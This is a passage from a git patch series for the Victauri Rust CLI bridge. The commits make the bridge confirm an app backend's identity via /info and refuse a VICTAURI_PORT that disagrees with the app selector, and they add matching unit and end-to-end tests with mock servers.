"error": "element is not a `, or ref not found — is a **tool error** (MCP `isError: true`; REST +`{"error": …}`) whose text is the reason followed by `[hint: RETRY_LATER]` (the UI +may still settle) or `[hint: CHECK_INPUT]` (wrong target). The same applies to +`input`, `inspect` (e.g. `get_styles` on an unknown ref) and `route add`. (Before +0.9.0 these came back as a successful `{"ok": false, "error": …}` result.) + | Action | Parameters | Description | |--------|-----------|-------------| | `click` | `ref_id` | Click an element | diff --git a/examples/demo-app/tests/adversarial.rs b/examples/demo-app/tests/adversarial.rs index 7a84271e..146c75a7 100644 --- a/examples/demo-app/tests/adversarial.rs +++ b/examples/demo-app/tests/adversarial.rs @@ -244,11 +244,12 @@ adv!(interact_on_stale_ref_fails_cleanly, base, { json!({"action":"click","ref_id":"e99999999"}), ) .await; - // Either a tool error or an ok:false with a ref-not-found hint — never a hang/panic. - let body = serde_json::to_string(&r).unwrap(); + // A tool error naming the missing ref (with a recovery hint) — never a hang/panic, and + // never a SUCCESS result (a refused action used to come back as `{ok:false}`, R5B-ISERR1). + let e = error(&r); assert!( - body.contains("not found") || body.contains("ok\":false") || r.get("error").is_some(), - "stale ref not handled cleanly: {body}" + (e.contains("not found") || e.contains("detached")) && e.contains("[hint: "), + "stale ref not handled cleanly: {e}" ); }); From 247f580dc4787a5c03c55881c7d40db341f53aa0 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:37:14 +1000 Subject: [PATCH 151/167] fix(cli): bridge confirms an --app backend's identity on /info (R5B-BR6) `--app` bound a backend from discovery metadata + PID liveness only. After a crash the app's stale entry can carry a PID that another of our processes reused, and if a DIFFERENT Victauri app (auth disabled) now holds the port the bridge silently drove the wrong app (the residual bridge.rs documented). With an app selector, the resolved backend's own `/info` (app_identifier / app_product_name, compared exactly and ASCII case-insensitive like matches_app) must now match before anything is forwarded; a mismatch or a server that does not confirm its identity is treated as "not found" with a message naming what it reported, and nothing is sent to it. The confirmation is cached per resolved (pid, port, token), so the steady state costs no extra request per call, and is re-checked whenever the resolution changes (an entry without a pid -- a bare VICTAURI_PORT -- is re-checked every time). The e2e mocks now serve /info like the real plugin. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-cli/src/bridge.rs | 213 +++++++++++++++++- crates/victauri-cli/tests/bridge_e2e.rs | 16 ++ .../victauri-cli/tests/bridge_protocol_e2e.rs | 90 +++++++- 3 files changed, 301 insertions(+), 18 deletions(-) diff --git a/crates/victauri-cli/src/bridge.rs b/crates/victauri-cli/src/bridge.rs index 979496c0..a95132c7 100644 --- a/crates/victauri-cli/src/bridge.rs +++ b/crates/victauri-cli/src/bridge.rs @@ -89,16 +89,21 @@ impl ServerInfo { /// case-insensitive) — never a substring (R4-CLI2: `--app com.example` bound /// `com.example.victauri-demo`, contradicting "never a silent wrong-app binding"). fn matches_app(&self, app: &str) -> bool { - self.identifier - .as_deref() - .is_some_and(|i| i.eq_ignore_ascii_case(app)) - || self - .product_name - .as_deref() - .is_some_and(|p| p.eq_ignore_ascii_case(app)) + identity_matches( + self.identifier.as_deref(), + self.product_name.as_deref(), + app, + ) } } +/// An app selector matches a bundle identifier or a product name EXACTLY, ASCII +/// case-insensitive — the one rule for discovery metadata and for `/info` alike. +fn identity_matches(identifier: Option<&str>, product_name: Option<&str>, app: &str) -> bool { + identifier.is_some_and(|i| i.eq_ignore_ascii_case(app)) + || product_name.is_some_and(|p| p.eq_ignore_ascii_case(app)) +} + /// The effective app selector: `--app`, else `VICTAURI_APP`, each trimmed, and an empty or /// whitespace-only value treated as NOT SET — exactly as victauri-test and the watchdog read /// `VICTAURI_APP` (R5-BR2). A set-but-empty `VICTAURI_APP=` used to select an app named "", @@ -806,6 +811,7 @@ async fn forward_with_retries(bridge: &Bridge, msg: &Value) -> ForwardResult { // #1 rule (never reuse a cached connection); the retry loop's restart patience still // applies once a live trusted backend is found, and the next call ~1s later succeeds. Selection::None => return ForwardResult::Unreachable(unreachable_message()), + Selection::Refused(why) => return ForwardResult::Unreachable(why), }; for attempt in 0..MAX_RETRIES { @@ -1054,9 +1060,12 @@ async fn scan_once(app: Option<&str>) -> Selection { // are reused. `/health` returns a static `ok` and carries no token, so it proves *something* // is bound but does not authenticate the listener as the real app. A stale `` dir whose // recorded PID has been recycled onto another of our live processes, combined with an attacker - // binding the freed port, could still pass liveness+health+identity and receive the token. + // binding the freed port, could still pass liveness+health and receive the token. // Re-resolving on every forward (audit #1) shrinks this to a per-call coincidence rather than - // a cache-lifetime one; fully closing it needs mutual auth on `/health` (a plugin-side change). + // a cache-lifetime one. With `--app`, the identity the SERVER reports on `/info` must also + // match (R5B-BR6) — which stops a different (e.g. auth-disabled) Victauri app that took the + // port from being driven, but not a hostile listener that lies on `/info`; fully closing that + // needs mutual auth (a plugin-side change). let entries = discover_entries(); // Nothing discovered (the app is down): nothing to check, so no process enumeration — // the availability poller runs this every 1.5 s. @@ -1075,7 +1084,100 @@ async fn scan_once(app: Option<&str>) -> Selection { live.push(s); } } - select(&live, app) + match (select(&live, app), app) { + (Selection::One(info), Some(app)) => { + match confirm_identity(&info, app, verified_backend()).await { + Ok(()) => Selection::One(info), + Err(why) => Selection::Refused(format!( + "No running Victauri app matches --app '{}': the discovery entry {} {why}. The entry is stale (the app exited and its PID was reused) or another app now holds its port. Start the app, or run `victauri doctor`.", + victauri_test::terminal::single_line(app), + victauri_test::terminal::single_line(&info.label()), + )), + } + } + (selection, _) => selection, + } +} + +/// A backend whose `/info` identity was confirmed for an app selector, so a later forward to +/// the SAME resolved entry (pid, port, token) needs no extra request. +#[derive(Clone, Debug, PartialEq, Eq)] +struct VerifiedBackend { + pid: Option, + port: u16, + token: Option, + app: String, +} + +fn verified_backend() -> &'static Mutex> { + static VERIFIED: Mutex> = Mutex::new(None); + &VERIFIED +} + +/// The identity the server on `port` reports on `/info` — `(app_identifier, +/// app_product_name)` — or `None` when it does not answer a well-formed `/info` (the token is +/// sent: `/info` is authenticated). +async fn fetch_identity( + port: u16, + token: Option<&str>, +) -> Option<(Option, Option)> { + let mut req = health_client().get(format!("http://127.0.0.1:{port}/info")); + if let Some(t) = token { + req = req.header("Authorization", format!("Bearer {t}")); + } + let resp = req.send().await.ok()?; + if !resp.status().is_success() { + return None; + } + let info: Value = resp.json().await.ok()?; + let field = |k: &str| { + info.get(k) + .and_then(Value::as_str) + .filter(|v| !v.is_empty()) + .map(str::to_string) + }; + Some((field("app_identifier"), field("app_product_name"))) +} + +/// Confirm that the server `info` resolved to really IS the app `app` selects, from what the +/// server itself reports on `/info` (R5B-BR6). Discovery metadata + PID liveness alone can +/// bind a crashed app's stale entry once its PID is reused, and with auth disabled nothing +/// else would notice that a DIFFERENT app now holds the port. A confirmation is cached for the +/// exact resolved entry (pid, port, token) — re-checked whenever the resolution changes; an +/// entry with no pid (a bare `VICTAURI_PORT`) is re-checked every time. Fails closed: a server +/// that does not report a matching identity is never used. +async fn confirm_identity( + info: &ServerInfo, + app: &str, + cache: &Mutex>, +) -> Result<(), String> { + let key = VerifiedBackend { + pid: info.pid, + port: info.port, + token: info.token.clone(), + app: app.to_ascii_lowercase(), + }; + if key.pid.is_some() && locked(cache).as_ref() == Some(&key) { + return Ok(()); + } + let reported = fetch_identity(info.port, info.token.as_deref()).await; + let outcome = match &reported { + Some((id, name)) if identity_matches(id.as_deref(), name.as_deref(), app) => Ok(()), + Some((id, name)) => Err(format!( + "points at a server that reports itself as '{}'", + victauri_test::terminal::single_line( + id.as_deref() + .or(name.as_deref()) + .unwrap_or("") + ) + )), + None => Err("points at a server that did not confirm its identity on /info".to_string()), + }; + *locked(cache) = match (&outcome, key.pid) { + (Ok(()), Some(_)) => Some(key), + _ => None, + }; + outcome } /// A single non-blocking discovery attempt — `Some` iff exactly one matching live backend is @@ -1114,6 +1216,7 @@ async fn discover_and_select(wait: bool, app: Option<&str>) -> Result { bail!("{}", ambiguous_message(&labels)); } + Selection::Refused(why) => bail!("{why}"), } } @@ -1134,6 +1237,9 @@ enum Selection { One(ServerInfo), None, Ambiguous(Vec), + /// A backend was resolved but must not be used: its identity does not match the app + /// selector (R5B-BR6 / R5B-PORTAPP1). The message says why. + Refused(String), } /// Pick the server matching `app` exactly, or the sole running server. Several matches — @@ -1868,6 +1974,93 @@ mod tests { assert_eq!(token_for_port(&[live], 7374).as_deref(), Some("live-token")); } + /// A mock `/info` reporting `identifier`, counting requests. + async fn info_server(identifier: &'static str) -> (u16, Arc) { + let hits = Arc::new(std::sync::atomic::AtomicU32::new(0)); + let counter = Arc::clone(&hits); + let app = axum::Router::new().route( + "/info", + axum::routing::get(move || { + counter.fetch_add(1, Ordering::SeqCst); + async move { + axum::Json(json!({"app_identifier": identifier, "app_product_name": "Name"})) + } + }), + ); + let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let port = listener.local_addr().unwrap().port(); + tokio::spawn(async move { axum::serve(listener, app).await.unwrap() }); + (port, hits) + } + + /// R5B-BR6: identity is confirmed from `/info`, cached per resolved (pid, port, token), and + /// re-checked when the resolution changes. + #[tokio::test] + async fn app_identity_is_confirmed_once_per_resolved_entry() { + let (port, hits) = info_server("com.real.app").await; + let cache = Mutex::new(None); + let mut info = srv("com.real.app", "Real", port); + info.pid = Some(4242); + + assert!( + confirm_identity(&info, "COM.REAL.APP", &cache) + .await + .is_ok() + ); + assert!( + confirm_identity(&info, "com.real.app", &cache) + .await + .is_ok() + ); + assert_eq!(hits.load(Ordering::SeqCst), 1, "cached for the same entry"); + // The product name selects too, like discovery's `--app`. + assert!(confirm_identity(&info, "name", &cache).await.is_ok()); + + // A new token (the app restarted) is a different entry: re-checked. + info.token = Some("fresh".into()); + assert!( + confirm_identity(&info, "com.real.app", &cache) + .await + .is_ok() + ); + let after_restart = hits.load(Ordering::SeqCst); + assert!(after_restart >= 2, "{after_restart}"); + + // Another app's selector: refused, naming what the server reported; never cached. + let err = confirm_identity(&info, "com.other.app", &cache) + .await + .unwrap_err(); + assert!(err.contains("com.real.app"), "{err}"); + assert_eq!(*cache.lock().unwrap(), None); + + // No pid (a bare VICTAURI_PORT): checked every time. + info.pid = None; + let before = hits.load(Ordering::SeqCst); + assert!( + confirm_identity(&info, "com.real.app", &cache) + .await + .is_ok() + ); + assert!( + confirm_identity(&info, "com.real.app", &cache) + .await + .is_ok() + ); + assert_eq!(hits.load(Ordering::SeqCst), before + 2); + } + + #[tokio::test] + async fn a_server_without_a_usable_info_is_refused() { + // Nothing listens on :9 → no identity → fail closed. + let mut info = srv("com.real.app", "Real", 9); + info.pid = Some(1); + let cache = Mutex::new(None); + let err = confirm_identity(&info, "com.real.app", &cache) + .await + .unwrap_err(); + assert!(err.contains("did not confirm"), "{err}"); + } + #[tokio::test] async fn a_rate_limited_health_endpoint_is_alive() { // R4-NET1: an unauthenticated /health flood (→ 429) made every bridge tool call fail diff --git a/crates/victauri-cli/tests/bridge_e2e.rs b/crates/victauri-cli/tests/bridge_e2e.rs index 93cd4887..1c3fa9cf 100644 --- a/crates/victauri-cli/tests/bridge_e2e.rs +++ b/crates/victauri-cli/tests/bridge_e2e.rs @@ -40,6 +40,13 @@ struct Mock { /// Counts `notifications/initialized` the bridge forwards to the BACKEND after its /// handshake — proves the MCP lifecycle is completed for a stateful backend (audit M2). initialized_count: Arc, + /// The app identity `/info` reports (the bridge confirms it before binding `--app`). + identity: Arc>, +} + +/// `/info`, reporting the mock's app identity like the real plugin. +async fn info(State(s): State) -> Json { + Json(json!({"app_identifier": s.identity.lock().unwrap().clone()})) } struct ChildGuard { @@ -147,12 +154,14 @@ async fn bridge_selects_by_identity_forwards_and_survives_restart() { init_count: Arc::new(AtomicU64::new(0)), toolcall_ok: Arc::new(AtomicU64::new(0)), initialized_count: Arc::new(AtomicU64::new(0)), + identity: Arc::default(), }; // Start the mock backend on an ephemeral port. let app = Router::new() .route("/health", get(|| async { "ok" })) .route("/mcp", post(mcp)) + .route("/info", get(info)) .with_state(mock.clone()); let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); let port = listener.local_addr().unwrap().port(); @@ -167,6 +176,7 @@ async fn bridge_selects_by_identity_forwards_and_survives_restart() { .unwrap() .as_nanos(); let ident = format!("com.test.e2e-bridge.{unique}"); + *mock.identity.lock().unwrap() = ident.clone(); let pid = std::process::id(); let iso = IsolatedTemp::new(); let dir = iso.discovery_dir(pid); @@ -445,10 +455,13 @@ async fn bridge_cold_start_serves_handshake_then_goes_live_when_app_appears() { init_count: Arc::new(AtomicU64::new(0)), toolcall_ok: Arc::new(AtomicU64::new(0)), initialized_count: Arc::new(AtomicU64::new(0)), + identity: Arc::default(), }; + *mock.identity.lock().unwrap() = ident.clone(); let app = Router::new() .route("/health", get(|| async { "ok" })) .route("/mcp", post(mcp)) + .route("/info", get(info)) .with_state(mock.clone()); let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); let port = listener.local_addr().unwrap().port(); @@ -530,10 +543,12 @@ async fn bridge_reresolves_and_wont_reuse_a_stale_cached_backend() { init_count: Arc::new(AtomicU64::new(0)), toolcall_ok: Arc::new(AtomicU64::new(0)), initialized_count: Arc::new(AtomicU64::new(0)), + identity: Arc::default(), }; let app = Router::new() .route("/health", get(|| async { "ok" })) .route("/mcp", post(mcp)) + .route("/info", get(info)) .with_state(mock.clone()); let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); let port = listener.local_addr().unwrap().port(); @@ -546,6 +561,7 @@ async fn bridge_reresolves_and_wont_reuse_a_stale_cached_backend() { .unwrap() .as_nanos(); let ident = format!("com.test.reresolve.{unique}"); + *mock.identity.lock().unwrap() = ident.clone(); let pid = std::process::id(); let iso = IsolatedTemp::new(); let dir = iso.discovery_dir(pid); diff --git a/crates/victauri-cli/tests/bridge_protocol_e2e.rs b/crates/victauri-cli/tests/bridge_protocol_e2e.rs index 5e748563..262c560e 100644 --- a/crates/victauri-cli/tests/bridge_protocol_e2e.rs +++ b/crates/victauri-cli/tests/bridge_protocol_e2e.rs @@ -33,23 +33,57 @@ struct Harness { _root: tempfile::TempDir, } +/// Knobs for [`Harness::start_with`]. +#[derive(Default)] +struct Opts<'a> { + /// Pass `--app `. + app_arg: bool, + /// Extra environment, applied after the Victauri variables are cleared. A value of + /// `"{port}"` is replaced with the mock backend's port. + env: &'a [(&'a str, &'a str)], + /// Extra bridge arguments. + args: &'a [&'a str], + /// The identity the backend's `/info` reports; `None` = the discovery entry's own. + info_identity: Option<&'a str>, +} + impl Harness { /// Serve `mcp_routes` (plus `/health`) on an ephemeral port, write a discovery entry for it /// with a unique identity, and spawn the bridge. `app_arg` = pass `--app `; /// `env` is applied after the Victauri selector variables are cleared. async fn start(mcp_routes: Router, app_arg: bool, env: &[(&str, &str)]) -> Self { - let router = mcp_routes.route("/health", get(|| async { "ok" })); - let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); - let port = listener.local_addr().unwrap().port(); - tokio::spawn(async move { - axum::serve(listener, router).await.unwrap(); - }); + Self::start_with( + mcp_routes, + Opts { + app_arg, + env, + ..Opts::default() + }, + ) + .await + } + async fn start_with(mcp_routes: Router, opts: Opts<'_>) -> Self { let unique = SystemTime::now() .duration_since(UNIX_EPOCH) .unwrap() .as_nanos(); let ident = format!("com.test.bridge-protocol.{unique}"); + // `/info` reports the app's identity, like the real plugin (the bridge confirms it + // before binding an `--app`, R5B-BR6). + let info = json!({ + "app_identifier": opts.info_identity.unwrap_or(ident.as_str()), + "app_product_name": "Proto", + }); + let router = mcp_routes + .route("/health", get(|| async { "ok" })) + .route("/info", get(move || async move { axum::Json(info) })); + let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let port = listener.local_addr().unwrap().port(); + tokio::spawn(async move { + axum::serve(listener, router).await.unwrap(); + }); + let root = tempfile::tempdir().unwrap(); let pid = std::process::id(); let dir = root.path().join("victauri").join(pid.to_string()); @@ -77,13 +111,19 @@ impl Harness { for var in ["VICTAURI_APP", "VICTAURI_PORT", "VICTAURI_AUTH_TOKEN"] { cmd.env_remove(var); } - for (k, v) in env { + for (k, v) in opts.env { + let v = if *v == "{port}" { + port.to_string() + } else { + (*v).to_string() + }; cmd.env(k, v); } cmd.arg("bridge"); - if app_arg { + if opts.app_arg { cmd.args(["--app", ident.as_str()]); } + cmd.args(opts.args); let mut child = cmd .stdin(Stdio::piped()) .stdout(Stdio::piped()) @@ -466,3 +506,37 @@ async fn a_slow_tool_call_blocks_neither_ping_nor_cancel_nor_parallel_calls() { ); assert_eq!(backend.tool_calls.load(Ordering::SeqCst), 2); } + +/// R5B-BR6: `--app` binds by discovery metadata + PID liveness. After a crash the app's stale +/// entry can carry a PID that was reused by another of our processes while a DIFFERENT app +/// (auth disabled) now holds the port — the bridge then silently drove the wrong app. It now +/// confirms the identity the server itself reports on `/info` before forwarding anything. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn an_app_whose_info_reports_another_identity_is_never_driven() { + let backend = Backend::default(); + let mut h = Harness::start_with( + backend_routes(&backend), + Opts { + app_arg: true, + info_identity: Some("com.someone.else"), + ..Opts::default() + }, + ) + .await; + h.send(&json!({"jsonrpc":"2.0","id":40,"method":"tools/call", + "params":{"name":"invoke_command","arguments":{"command":"quit_app"}}})); + let r = h.recv_reply(); + assert_eq!(r["id"], 40, "{r}"); + let msg = r["error"]["message"] + .as_str() + .unwrap_or_else(|| panic!("must refuse, got: {r}")); + assert!( + msg.contains("com.someone.else"), + "names what it found: {msg}" + ); + assert_eq!( + backend.tool_calls.load(Ordering::SeqCst), + 0, + "nothing may be sent to a server that is not the selected app" + ); +} From b1ea3ffd196d55b172b4da5917197de3941e82c4 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:42:39 +1000 Subject: [PATCH 152/167] fix(cli,victauri-test): VICTAURI_PORT and an app selector must agree (R5B-PORTAPP1) With VICTAURI_PORT set, `--app` / VICTAURI_APP was silently ignored by both the bridge and victauri-test's discovery (so every other CLI command): the client drove whatever app held that port. When both are set they are now checked against each other: - bridge: the one live discovery entry on that port must match the selector (metadata), and the server's own /info identity must match too (the R5B-BR6 confirmation, cached per pid/port/token); otherwise the call is refused with "VICTAURI_PORT=N is app X, but the app selector ... is 'Y'" and nothing is forwarded. - victauri-test: `try_resolve_connection` now scans discovery when a selector is set even with an explicit port + token, and refuses a disagreeing entry; `discover_app` re-checks the selector against the reached server's /info (identifier or product name) and refuses a mismatch -- which also covers a port with no discovery entry. Shared `identity_matches` rule (exact, ASCII case-insensitive). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-cli/src/bridge.rs | 72 ++++++++++++----- .../victauri-cli/tests/bridge_protocol_e2e.rs | 58 ++++++++++++++ crates/victauri-cli/tests/cli_e2e.rs | 43 ++++++++++ crates/victauri-test/src/client.rs | 55 +++++++++++-- crates/victauri-test/src/discovery.rs | 78 ++++++++++++++++--- 5 files changed, 270 insertions(+), 36 deletions(-) diff --git a/crates/victauri-cli/src/bridge.rs b/crates/victauri-cli/src/bridge.rs index a95132c7..004042d2 100644 --- a/crates/victauri-cli/src/bridge.rs +++ b/crates/victauri-cli/src/bridge.rs @@ -1035,17 +1035,7 @@ async fn scan_once(app: Option<&str>) -> Selection { && let Ok(port) = p.trim().parse::() && health_ok(port).await { - return Selection::One(ServerInfo { - pid: None, - port, - // An EMPTY/whitespace `VICTAURI_AUTH_TOKEN` is "not configured", NOT "send an - // empty Bearer" — it must fall through to the discovered token for this exact - // port (see `normalize_env_token`). - token: normalize_env_token(std::env::var("VICTAURI_AUTH_TOKEN").ok()) - .or_else(|| discover_token_for_port(port)), - identifier: None, - product_name: None, - }); + return port_override(port, app).await; } // Liveness-FIRST, then health. On Unix `alive_pids` snapshots our user's live PIDs in ONE @@ -1180,6 +1170,47 @@ async fn confirm_identity( outcome } +/// The backend `VICTAURI_PORT` names. When an app selector (`--app` / `VICTAURI_APP`) is set +/// too, the two must agree (R5B-PORTAPP1) — the selector used to be silently ignored, so the +/// bridge drove whatever app held that port: first by the discovery metadata of the one live +/// entry on that port (if any), then by the identity the server itself reports on `/info`. +async fn port_override(port: u16, app: Option<&str>) -> Selection { + let live = discover_live_servers(); + let entry = unique_entry_on_port(&live, port); + let refuse = |why: &str| { + Selection::Refused(format!( + "VICTAURI_PORT={port} {why}, but the app selector (--app / VICTAURI_APP) is '{}'. Unset one of them, or point VICTAURI_PORT at that app's port.", + victauri_test::terminal::single_line(app.unwrap_or_default()) + )) + }; + if let (Some(app), Some(e)) = (app, entry) + && (e.identifier.is_some() || e.product_name.is_some()) + && !e.matches_app(app) + { + return refuse(&format!( + "is app {}", + victauri_test::terminal::single_line(&e.label()) + )); + } + let info = ServerInfo { + pid: entry.and_then(|e| e.pid), + port, + // An EMPTY/whitespace `VICTAURI_AUTH_TOKEN` is "not configured", NOT "send an empty + // Bearer" — it must fall through to the discovered token for this exact port (see + // `normalize_env_token`). + token: normalize_env_token(std::env::var("VICTAURI_AUTH_TOKEN").ok()) + .or_else(|| entry.and_then(|e| e.token.clone())), + identifier: entry.and_then(|e| e.identifier.clone()), + product_name: entry.and_then(|e| e.product_name.clone()), + }; + if let Some(app) = app + && let Err(why) = confirm_identity(&info, app, verified_backend()).await + { + return refuse(&why); + } + Selection::One(info) +} + /// A single non-blocking discovery attempt — `Some` iff exactly one matching live backend is /// found. Used by the availability poller and the `*/list` fast path. async fn discover_one(app: Option<&str>) -> Option { @@ -1425,23 +1456,26 @@ fn normalize_env_token(raw: Option) -> Option { raw.map(|t| t.trim().to_string()).filter(|t| !t.is_empty()) } -/// Token belonging to the exact server selected by a `VICTAURI_PORT` override. +/// Token belonging to the exact server selected by a `VICTAURI_PORT` override (see +/// [`unique_entry_on_port`]). +#[cfg(test)] +fn token_for_port(servers: &[ServerInfo], port: u16) -> Option { + unique_entry_on_port(servers, port)?.token.clone() +} + +/// The ONE live discovery entry advertising `port` — `None` when there is none, or several. /// /// Never send a token discovered for one app to an unrelated localhost port: only the token /// of the ONE live, trusted discovery entry advertising that port is used (R4-DISC2). A /// stale entry of a dead app that once held the port — or two entries claiming it — yields -/// no token, rather than the first match's. -fn discover_token_for_port(port: u16) -> Option { - token_for_port(&discover_live_servers(), port) -} - -fn token_for_port(servers: &[ServerInfo], port: u16) -> Option { +/// no token (and no identity), rather than the first match's. +fn unique_entry_on_port(servers: &[ServerInfo], port: u16) -> Option<&ServerInfo> { let mut matching = servers.iter().filter(|server| server.port == port); let server = matching.next()?; if matching.next().is_some() { return None; } - server.token.clone() + Some(server) } /// Shared, warm HTTP client for `/health` probes. Built ONCE (rebuilding per call incurred diff --git a/crates/victauri-cli/tests/bridge_protocol_e2e.rs b/crates/victauri-cli/tests/bridge_protocol_e2e.rs index 262c560e..aa5cfcaf 100644 --- a/crates/victauri-cli/tests/bridge_protocol_e2e.rs +++ b/crates/victauri-cli/tests/bridge_protocol_e2e.rs @@ -540,3 +540,61 @@ async fn an_app_whose_info_reports_another_identity_is_never_driven() { "nothing may be sent to a server that is not the selected app" ); } + +/// R5B-PORTAPP1: with `VICTAURI_PORT` set, `--app` / `VICTAURI_APP` was silently ignored — the +/// bridge drove whatever app held that port. When both are set they must agree. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn victauri_port_and_a_different_app_selector_are_refused_clearly() { + for (env, args) in [ + ( + &[("VICTAURI_PORT", "{port}")][..], + &["--app", "com.other.app"][..], + ), + ( + &[ + ("VICTAURI_PORT", "{port}"), + ("VICTAURI_APP", "com.other.app"), + ][..], + &[][..], + ), + ] { + let backend = Backend::default(); + let mut h = Harness::start_with( + backend_routes(&backend), + Opts { + env, + args, + ..Opts::default() + }, + ) + .await; + h.send(&json!({"jsonrpc":"2.0","id":50,"method":"tools/call", + "params":{"name":"get_plugin_info","arguments":{}}})); + let r = h.recv_reply(); + let msg = r["error"]["message"] + .as_str() + .unwrap_or_else(|| panic!("must refuse, got: {r}")); + assert!( + msg.contains("VICTAURI_PORT") && msg.contains("com.other.app"), + "{msg}" + ); + assert_eq!(backend.tool_calls.load(Ordering::SeqCst), 0); + } + + // Agreeing selectors still work. + let backend = Backend::default(); + let mut h = Harness::start_with( + backend_routes(&backend), + Opts { + app_arg: true, + env: &[("VICTAURI_PORT", "{port}")], + ..Opts::default() + }, + ) + .await; + h.send(&json!({"jsonrpc":"2.0","id":51,"method":"tools/call", + "params":{"name":"get_plugin_info","arguments":{}}})); + let r = h.recv_reply(); + assert!(r.get("result").is_some(), "{r}"); + assert_eq!(backend.tool_calls.load(Ordering::SeqCst), 1); +} diff --git a/crates/victauri-cli/tests/cli_e2e.rs b/crates/victauri-cli/tests/cli_e2e.rs index f4ef844e..d346bfa5 100644 --- a/crates/victauri-cli/tests/cli_e2e.rs +++ b/crates/victauri-cli/tests/cli_e2e.rs @@ -379,3 +379,46 @@ fn init_suggestion_for_an_existing_mcp_json_pins_the_app() { "the suggestion must pin the app:\n{err}" ); } + +/// R5B-PORTAPP1: with `VICTAURI_PORT` set, `--app` / `VICTAURI_APP` was silently ignored by +/// victauri-test's discovery (so by every CLI command but the bridge) — the command drove +/// whatever app held that port. Both set must agree; disagreement is a clear error. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn victauri_port_with_a_different_app_selector_is_refused() { + let iso = IsolatedTemp::new(); + let port = start_mock("com.test.portapp").await; + iso.write_entry(std::process::id(), port, "tok", "com.test.portapp"); + + // Discovery metadata for that port disagrees with the selector. + let mut cmd = iso.victauri(&["invoke", "whoami", "--raw", "--app", "com.test.other"]); + cmd.env("VICTAURI_PORT", port.to_string()); + let out = run(cmd).await; + let err = stderr(&out); + assert!(!out.status.success(), "must refuse:\n{err}"); + assert!( + err.contains("VICTAURI_PORT") && err.contains("com.test.other"), + "{err}" + ); + assert!( + !stdout(&out).contains("com.test.portapp"), + "drove the app anyway" + ); + + // No discovery entry for the port (explicit token too): `/info` still disagrees. + let other = start_mock("com.test.unlisted").await; + let mut cmd = iso.victauri(&["invoke", "whoami", "--raw"]); + cmd.env("VICTAURI_PORT", other.to_string()) + .env("VICTAURI_AUTH_TOKEN", "t") + .env("VICTAURI_APP", "com.test.portapp"); + let out = run(cmd).await; + let err = stderr(&out); + assert!(!out.status.success(), "must refuse:\n{err}"); + assert!(err.contains("com.test.unlisted"), "{err}"); + + // Agreeing selectors work. + let mut cmd = iso.victauri(&["invoke", "whoami", "--raw", "--app", "com.test.portapp"]); + cmd.env("VICTAURI_PORT", port.to_string()); + let out = run(cmd).await; + assert!(out.status.success(), "{}", stderr(&out)); + assert!(stdout(&out).contains("com.test.portapp")); +} diff --git a/crates/victauri-test/src/client.rs b/crates/victauri-test/src/client.rs index 1c7ce58c..f9421487 100644 --- a/crates/victauri-test/src/client.rs +++ b/crates/victauri-test/src/client.rs @@ -499,14 +499,24 @@ impl VictauriClient { /// Read the host app's identifier from the server's `/info` endpoint. async fn fetch_app_identifier(&self) -> Option { + self.fetch_app_identity().await?.0 + } + + /// The host app's `(app_identifier, app_product_name)` from the server's `/info` + /// endpoint; `None` when it does not answer one. + async fn fetch_app_identity(&self) -> Option<(Option, Option)> { let mut req = self.http.get(format!("{}/info", self.base_url)); if let Some(ref t) = self.auth_token { req = req.header("Authorization", format!("Bearer {t}")); } let info: Value = req.send().await.ok()?.json().await.ok()?; - info.get("app_identifier") - .and_then(Value::as_str) - .map(str::to_string) + let field = |k: &str| { + info.get(k) + .and_then(Value::as_str) + .filter(|v| !v.is_empty()) + .map(str::to_string) + }; + Some((field("app_identifier"), field("app_product_name"))) } /// After a rediscovery re-handshake, confirm the server is still the app this @@ -579,10 +589,41 @@ impl VictauriClient { // Pin the app identity so a later rediscovery can only re-attach to // this same app. `/info` is authoritative (it is the server we just // reached); discovery metadata is the fallback for older plugins. - client.app_identifier = match client.fetch_app_identifier().await { - Some(id) => Some(id), - None => crate::discovery::identifier_for_port(port), - }; + let (identifier, product_name) = + client.fetch_app_identity().await.unwrap_or_default(); + client.app_identifier = + identifier.or_else(|| crate::discovery::identifier_for_port(port)); + // An app selector must match the app actually reached — essential when + // `VICTAURI_PORT` names the endpoint (R5B-PORTAPP1), and a cheap re-check + // otherwise. An app whose identity is unknown (a pre-0.7.4 plugin) passes. + let selector = app + .map(str::to_string) + .or_else(crate::discovery::configured_app); + if let Some(selector) = selector + && (client.app_identifier.is_some() || product_name.is_some()) + && !crate::discovery::identity_matches( + client.app_identifier.as_deref(), + product_name.as_deref(), + &selector, + ) + { + let found = client + .app_identifier + .clone() + .or(product_name) + .unwrap_or_default(); + let message = if crate::discovery::configured_port().is_some() { + crate::discovery::port_app_mismatch(port, &found, &selector) + } else { + format!( + "the server on port {port} is app '{}', not the selected '{}' — \ + refusing to drive a different app", + crate::terminal::single_line(&found), + crate::terminal::single_line(&selector) + ) + }; + return Err(TestError::Other(message)); + } Ok(client) } Err(TestError::Connection { host, port, reason }) => { diff --git a/crates/victauri-test/src/discovery.rs b/crates/victauri-test/src/discovery.rs index 9bde1220..ffaa371e 100644 --- a/crates/victauri-test/src/discovery.rs +++ b/crates/victauri-test/src/discovery.rs @@ -196,8 +196,9 @@ pub fn try_resolve_connection(app: Option<&str>) -> Result<(u16, Option) let app = app.map(str::to_string).or_else(configured_app); let port = configured_port(); let token = configured_token(); - // Only scan when the answer depends on discovery (an explicit port + token does not). - let servers = if port.is_some() && token.is_some() { + // Only scan when the answer depends on discovery (an explicit port + token with no app + // selector does not; a selector is checked against that port's entry — R5B-PORTAPP1). + let servers = if port.is_some() && token.is_some() && app.is_none() { Vec::new() } else { 